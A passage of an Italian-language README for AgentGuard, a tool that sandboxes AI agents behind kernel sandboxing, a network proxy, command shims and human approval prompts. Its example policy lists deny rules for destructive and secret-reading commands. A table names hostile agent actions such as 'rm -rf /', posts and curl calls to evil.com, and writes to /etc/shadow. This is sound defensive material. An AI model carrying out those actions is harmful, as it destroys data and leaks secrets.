AgentGuard

Sandbox a fiducia zero per agenti AI autonomi.

AgentGuard avvolge qualsiasi agente AI (LangChain, CrewAI, AutoGen, script personalizzati) con binari di sicurezza. Con un solo cambiamento di comando:

# Before (dangerous — agent has full system access)
python my_agent.py

# After (sandboxed)
agentguard run -- python my_agent.py

AgentGuard intercetta ogni comando shell, modifica di file e richiesta di rete che l'agente effettua. Le azioni sicure vengono automaticamente consentite, quelle pericolose bloccate, e tutto il resto richiede l'approvazione umana.

Come Funziona

AgentGuard ha quattro livelli di difesa che lavorano insieme:

┌─────────────────────────────────────────────────────────────┐
│ Layer 0: Jail del Filesystem (sandbox-exec su macOS)          │
│   Applicazione a livello kernel. Limita le scritture su file │
│   e la rete a livello di syscall. L'agente non può bypassare │
│   dallo userspace. Blocca open() di Python, requests.post()  │
│   ecc.                                                       │
├─────────────────────────────────────────────────────────────┤
│ Layer 1: Proxy di Rete                                       │
│   Proxy HTTP/HTTPS trasparente. Ogni chiamata di rete        │
│   dell'agente viene verificata rispetto alla policy. Consenti│
│   /Nega per destinazione con piena visibilità nella TUI.     │
├─────────────────────────────────────────────────────────────┤
│ Layer 2: Shim di PATH                                        │
│   Shim di script shell che intercettano comandi come git,    │
│   pip, curl, rm. Ogni shim chiede al demone l'autorizzazione │
│   prima di eseguire il vero binario.                         │
├─────────────────────────────────────────────────────────────┤
│ Layer 3: Motore di Policy + Demone di Approvazione            │
│   Regole basate su YAML valutano ogni azione intercettata.   │
│   Consenti automaticamente comandi sicuri, blocca            │
│   automaticamente quelli pericolosi, chiedi all'umano per    │
│   tutto il resto.                                            │
└─────────────────────────────────────────────────────────────┘

Nessun singolo layer è il confine di sicurezza. Lavorano insieme — difesa in profondità.

Avvio Rapido

Compilazione

go build -o agentguard ./cmd/agentguard/
go build -o agentguard-check ./cmd/agentguard-check/

Entrambi i binari devono essere nella stessa directory.

Creare una Policy

agentguard init

Questo crea .agentguard/policy.yaml nella directory corrente. Modificalo per adattarlo alle tue esigenze.

Eseguire un Agente (TUI Interattiva)

agentguard run -- python my_agent.py

La TUI prende il controllo del terminale e mostra:

• Flusso di attività in tempo reale (ogni azione intercettata)
• Richieste di approvazione per comandi ambigui (premi Y/N/A/B)
• Eventi di rete consentiti/negati dal proxy
• Eventi di violazione della sandbox
• stdout/stderr dell'agente (attiva/disattiva con Tab)

Eseguire un Agente (Headless)

Per strumenti interattivi come Claude Code che necessitano del terminale:

agentguard run --headless -- claude

L'agente ottiene il terminale direttamente. AgentGuard viene eseguito silenziosamente in background. Tutti gli eventi vengono registrati in ~/.agentguard/logs/headless.log. Monitora in un altro terminale:

tail -f ~/.agentguard/logs/headless.log

Riferimenti CLI

agentguard run [flags] -- <command> [args...]
    --policy <path>     Use a specific policy file
    --headless          No TUI — agent gets the terminal
    --default-allow     Auto-allow PROMPT decisions in headless mode (default: auto-deny)
    --no-sandbox        Disable sandbox-exec (shims and proxy still active)

agentguard init         Create a default policy file
agentguard version      Print version

File di Policy

Le policy sono file YAML che definiscono cosa l'agente può e non può fare. AgentGuard controlla tre posizioni (in ordine):

1. ./.agentguard/policy.yaml (progetto locale)
2. ~/.agentguard/policy.yaml (utente globale)
3. Predefiniti interni

Esempio di Policy

version: 1

deny:
  # Block dangerous commands
  - command: "rm"
    args: "-rf *"
    reason: "Recursive forced deletion is too dangerous"
  - command: "sudo"
    args: "*"
    reason: "Privilege escalation is not allowed"
  - command: "chmod"
    args: "777 *"
    reason: "World-writable permissions are dangerous"

  # Block reading sensitive files (enforced by sandbox-exec)
  - file:
      path: "*.env"
      action: "read"
      reason: "Don't let agent read .env files"
  - file:
      path: "*.pem"
      action: "read"
      reason: "Don't let agent read private keys"

allow:
  # Safe read-only commands
  - command: "ls"
  - command: "cat"
  - command: "pwd"
  - command: "echo"
  - command: "grep"
  - command: "head"
  - command: "tail"
  - command: "wc"

  # Read-only git
  - command: "git"
    args: "status"
  - command: "git"
    args: "log *"
  - command: "git"
    args: "diff *"

  # Allow writes to workspace
  - file:
      path: "/tmp/workspace/**"
      action: "write"

  # Allow specific API endpoints
  - network:
      destination: "api.anthropic.com:443"
  - network:
      destination: "api.github.com:443"

Ordine di Valutazione delle Regole

1. Regole di negazione specifiche — controllate per prime. Se corrispondono, l'azione viene bloccata immediatamente.
2. Regole di consenso — controllate per seconde. Se corrispondono, l'azione è permessa.
3. Regole di negazione generiche (es. deny network *) — controllate per terze. Agisce come una negazione predefinita.
4. Nessuna corrispondenza — l'umano viene avvisato (TUI) o negato automaticamente (headless).

Tipi di Regole

Regole di comando — corrispondono a comandi shell per nome e pattern degli argomenti:

- command: "git"
  args: "push *"
  reason: "Pushing requires approval"

Regole di file — corrispondono a operazioni su file (applicate da sandbox-exec):

- file:
    path: "*.env"
    action: "read"     # "read" or "write"
    reason: "Protect secrets"

Regole di rete — corrispondono a destinazioni di rete (applicate da proxy + sandbox-exec):

- network:
    destination: "api.anthropic.com:443"

Usa * come carattere jolly in argomenti comandi, percorsi file e destinazioni di rete.

Controlli TUI

Tasto	Azione	Quando
Y	Consenti la richiesta in sospeso	Richiesta di approvazione visibile
N	Nega la richiesta in sospeso	Richiesta di approvazione visibile
A	Consenti + ricordi per questa sessione ("Consenti Sempre")	Richiesta di approvazione visibile
B	Nega + ricordi per questa sessione ("Blocca per Sempre")	Richiesta di approvazione visibile
Tab	Attiva/disattiva pannello stdout/stderr dell'agente	Sempre
Su/Giù	Scorri il flusso di attività	Sempre
Q	Esci (termina l'agente)	Sempre

Cosa Cattura Ogni Layer

Azione dell'agente	Shim	Proxy	sandbox-exec
subprocess.run(["rm", "-rf", "/"])	Yes	-	-
subprocess.run(["git", "push"])	Yes	-	-
requests.post("https://evil.com")	-	Yes	Yes
urllib.request.urlopen("https://api.com")	-	Yes	Yes
open(".env", "r")	-	-	Yes
open("/etc/shadow", "w")	-	-	Yes
/usr/bin/curl https://evil.com (percorso assoluto)	-	Yes	Yes

Architettura